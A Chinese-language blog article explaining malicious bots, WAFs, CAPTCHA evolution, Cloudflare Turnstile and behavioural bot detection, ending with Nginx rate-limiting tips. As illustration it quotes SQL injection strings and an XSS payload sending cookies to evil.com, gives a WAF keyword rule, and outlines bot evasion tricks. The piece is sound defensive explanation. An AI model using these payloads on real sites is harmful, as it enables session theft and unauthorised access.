人机对决:WAF、验证码与恶意 Bot/爬虫攻防战

恶意 Bot 从撞库抢购到扒数据,坏事干尽。聊聊 WAF、验证码进化史和无感验证,以及用行为分析嗅出"人味"的攻防黑科技。

先问你一个问题:你每天刷的网站,访问者里到底有多少是真人?说出来可能吓你一跳——业内普遍估计,互联网总流量里 差不多一半是机器人(Bot) 产生的。它们有的是好 bot(搜索引擎爬虫、监控探活),但还有一大票是来干坏事的:偷数据、刷量、抢票、撞库……于是,"怎么分辨人和机器"就成了一门越来越值钱的生意。这篇文章,咱就掰开揉碎聊聊网站是怎么用 WAF、验证码和行为分析,跟这些恶意 bot 打这场没完没了的攻防战的。

一、恶意 Bot 到底在干啥坏事?

别以为 bot 只是"多刷几次页面"那么简单。真正有组织的恶意 bot,干的事儿可脏了:

1. 撞库(Credential Stuffing)

这是最主流的"生意"。黑产手里攥着从别处拖库偷来的账号密码(比如某论坛泄漏的几亿条),拿这些账密去别的网站批量试登录。因为很多人到处用同一个密码,所以总能撞出一批真账号。Akamai 曾披露过一个案例:某大型媒体客户被一波"账号检查器"攻击,用了 1200 多个不同 IP、90 多种 User-Agent 来躲避封禁,而这些 IP 大多来自 VPS 服务商——也就是 bot 农场。

2. 刷票、刷量、刷评论

投票活动、排行榜、好评区,都是 bot 的重灾区。它们能在几分钟内把某个选项顶上去,或者给自家商品刷几千条五星好评,把真实用户的声音彻底淹没。

3. 黄牛抢购(Scalping)

限量球鞋、演唱会门票、显卡首发——"加购物车 bot""自动下单 bot"能在开售瞬间秒空库存,再倒卖赚差价。这类 bot 动作极快、毫无感情,普通用户根本抢不过。

4. 恶意外挂与内容抓取

游戏外挂、自动签到、批量注册小号薅羊毛,还有把整站商品数据扒下来建"高仿钓鱼站"的爬虫。严重的还能造成类似 DDoS 的效果——Akamai 见过一个 bot 网络用近 4000 个 IP、每分钟 16000 次请求猛攻某游戏公司网站,把正常用户挡在门外。

所以网站方不是"想为难你",是真的被 bot 逼得没办法。那他们手里第一件武器是啥?就是 WAF。

二、WAF 是什么?它怎么挡住 SQL 注入和 XSS?

WAF(Web 应用防火墙)可以理解成架在网站和你之间的一个"安检门"。它实时盯着每一次 HTTP/HTTPS 请求,发现像恶意的就拦下来。它最早就是为挡两类经典攻击而生的:

SQL 注入(SQL Injection)

假设一个登录框拼出来的 SQL 是 SELECT * FROM users WHERE name='$user' AND pw='$pw'。正常你输入用户名,但如果坏人在用户名框里填 admin' -- 或者 ' OR '1'='1',拼接出来的 SQL 就直接绕过了密码校验,等于拿管理员身份进去了。WAF 会识别这种典型的注入特征(单引号+注释符、恒真条件等)并拦截。

跨站脚本(XSS)

攻击者在评论区塞一段 <script>document.location='http://evil.com/?c='+document.cookie</script>,别的用户一打开页面,cookie 就被偷走了。WAF 会匹配 <script>onerror=javascript: 这类危险模式,把请求挡在门外。

现代 WAF(比如 Cloudflare、AWS WAF、阿里云 WAF)一般都内置了 OWASP Top 10 的规则集,开箱即用。但光靠规则挡"已知攻击"还不够,因为 bot 的招数远不止注入和 XSS——它们更擅长伪装成正常流量。于是验证码登场了。

三、验证码进化史:从看不清的字母到"无感验证"

验证码(CAPTCHA)的本意是"区分人和机器",可它的进化史,简直就是一部"人越来越烦、机器越来越强"的血泪史。

第一代:扭曲的字母和数字

早期就是让你看一张歪歪扭扭、带噪点的图,输入里面的字符。结果呢?人经常看错,机器反而用 OCR 轻松破解。连 CAPTCHA 的发明者自己后来都吐槽:我无意中造了个系统,以 10 秒为单位浪费了人类几百万个小时。

第二代:滑块拼图、点图选物

为了对抗 OCR,变成了"把滑块拖到缺口""选出图里所有的红绿灯/人行横道"。体验好一点,但依然打断操作,而且对视力障碍用户不友好。更尴尬的是谷歌的 reCAPTCHA 占了 约 98% 的市场份额,而它判断"你是不是人"的一个信号竟然是你浏览器里有没有谷歌 cookie——等于把用户数据喂给广告公司,隐私问题很大。

中间的 reCAPTCHA v3 更"阴":它完全不打断你,而是默默给每个请求打一个 0~1 的"人类概率分",分数低的在后台直接拦截或要求二次验证。效果不错,但代价是要收集大量行为数据,隐私争议一直没停过。这也正是 Cloudflare 想甩开 reCAPTCHA、自己搞 Turnstile 的动力之一。

第三代:隐形验证(reCAPTCHA v3)与 Cloudflare Turnstile

再后来,验证码开始"躲起来":你不点任何东西,后台默默分析你的行为打分。Cloudflare 觉得这还不够,干脆推出了 Turnstile——一个真正"无感"的 CAPTCHA 替代品。

Turnstile 的思路很妙:它在后台跑一系列小型的非交互式 JavaScript 挑战,收集你浏览器环境的信号,比如工作量证明(proof-of-work)、空间证明(proof-of-space)、探测各种 Web API、捕捉浏览器怪癖和人类行为特征。如果信号正常,你啥都不用做,直接放行;只有发现可疑迹象时,才弹出一个勾选框让你点一下。Cloudflare 说,靠 Managed Challenge 他们已经把 CAPTCHA 的使用量减少了 91%。而且 Turnstile 不依赖追踪 cookie,符合 GDPR/CCPA,主打一个隐私友好。

更绝的是,它还能和苹果合作用 Private Access Tokens:在支持的苹果设备上,由苹果帮你"证明这是真人",连挑战都省了。这就是验证码的终点方向——最好让你感觉不到它的存在。

四、行为分析:机器骗得过规则,骗不过"人味"

验证码再智能也是"被动挨打",真正的攻防核心在行为分析。因为高级 bot 已经学会伪装了:它们伪造 User-Agent、模拟 Chrome 的请求头、甚至用无头浏览器渲染页面。那怎么识破?

说白了,规则只能挡"已知的坏",却挡不住"看起来正常、其实是机器"的流量。这时候就得看行为——人摸鼠标的手和机器生成的轨迹,骨子里就不是一回事。下面这几招,正是网站用来嗅出那股"人味"的。

1. 鼠标轨迹与交互节奏

真人移动鼠标是带"贝塞尔曲线"的、有加速度有抖动、会悬停会回拖;bot 的轨迹往往是直线、瞬间到位。滚动也是——真人会慢慢滚、偶尔停住读一段,bot 喜欢瞬间滚到底。WAF 会跟踪鼠标移动、滚动、点击、停留时间(dwell time)这些信号。

2. 请求节奏的"不规律"

bot 想躲限流,会故意把请求打散:比如把 1000 次请求摊到 60 秒,每秒数量还按正弦波动,峰值卡在 WAF 阈值以下,再插入 1.2~2.8 秒的随机等待假装思考。但真人的间隔服从"长尾分布"(大部分很短、偶尔很久),统计学上的偏度(skewness)通常大于 2;而 bot 的随机等待是均匀的,偏度接近 0。光看平均值看不出来,看"不规律程度"反而能揪出机器。

3. TLS / JA3 指纹

每次建立 HTTPS 连接,客户端和服务器要协商密码套件,这会形成一串独特的"指纹"(JA3 哈希)。curl、Python 的 requests、自定义框架,它们的 TLS 握手特征跟真实浏览器有明显差异;连 Puppeteer 这种无头浏览器,JA3 也和真人 Chrome 略有不同。WAF 借此能直接标记一批"非浏览器"流量。

4. 设备指纹

通过 Canvas/WebGL 渲染、字体列表、屏幕分辨率、时区、硬件并发数等几十个维度,给每台设备生成唯一指纹。bot 环境的指纹往往在多个会话里完全重复,或者某些传感器数据"撒谎"(比如加速度计 Z 轴长期稳定在 9.8,说明手机平放没动,但页面上却在疯狂点击)。这种矛盾一抓一个准。

五、攻防永不停:道高一尺,魔高一丈

别以为网站赢了。黑产也在疯狂进化:用打码平台(人工或 CNN 模型)秒解验证码;用贝塞尔曲线+高斯噪声生成"拟人"鼠标轨迹;动态篡改 56 维设备指纹向量;甚至用真实手机群(真机农场)来骗过行为分析。这是一场没有终点的军备竞赛。

所以现在成熟的防护都是组合拳:WAF 规则挡已知攻击 → 限流/IP 信誉拦暴力 → 行为分析+指纹做智能判定 → 可疑的再上 Turnstile 这类无感验证。没有哪一层能单独赢,但叠在一起,成本就高到让大部分 bot 不划算。

附:自己搭了小站,能马上抄走的几行配置

说了这么多原理,给在自己 VPS(比如 RackNerdCloudCone 上)跑了博客或商城的朋友,其实有两件事今天就能做:

  • 限流:在 Nginx 里加一段 limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;,再在 location 里写 limit_req zone=one burst=20;,就能直接拦掉明显过快的刷子。
  • 挡注入:如果站点前面挂了 Cloudflare,在 dashboard 打开 WAF 的 OWASP 托管规则就行;或者自己写条简单规则,把请求里带 union select<script 的一律挑战或拦截。

当然,真要扛住有组织的规模化 bot,还是得上 Turnstile 这类专业方案——但先把基础的限流和规则开了,能挡掉八成以上的"傻瓜 bot",性价比极高。

站在咱们普通用户这头也别慌:验证码变少不是网站偷懒,是识别技术升级了;遇到真要验证时,老老实实点一下或刷个脸,比跟扭曲字母较劲强多了。

总结

一句话:恶意 bot 从撞库、抢购到扒数据,坏事干尽;WAF 守住 SQL 注入和 XSS 这类"已知攻击"的底线;验证码从扭曲字母进化到 Cloudflare Turnstile 这种"你几乎无感"的无感验证;而真正分胜负的地方,是行为分析——用鼠标轨迹、请求节奏的不规律、TLS 指纹和设备指纹,去嗅出那股"人味"。攻防永远在升级,但对咱普通用户来说,至少登录时少做几道验证码了,这波不亏。

延伸阅读

更多相关攻略推荐:告别繁琐密码:OAuth 2.0、SSO 单点登录与 Passkey【知识库自托管 02】2026 实测:VPS 自托管 Anythin【知识库自托管 03】2026 实测:搬瓦工/RackNerd 上自如何给 VPS 厂商做"信用评估":跑路、超售与售后风险排查手册【知识库自托管 01】2026 企业/个人私有文档 RAG 问答选型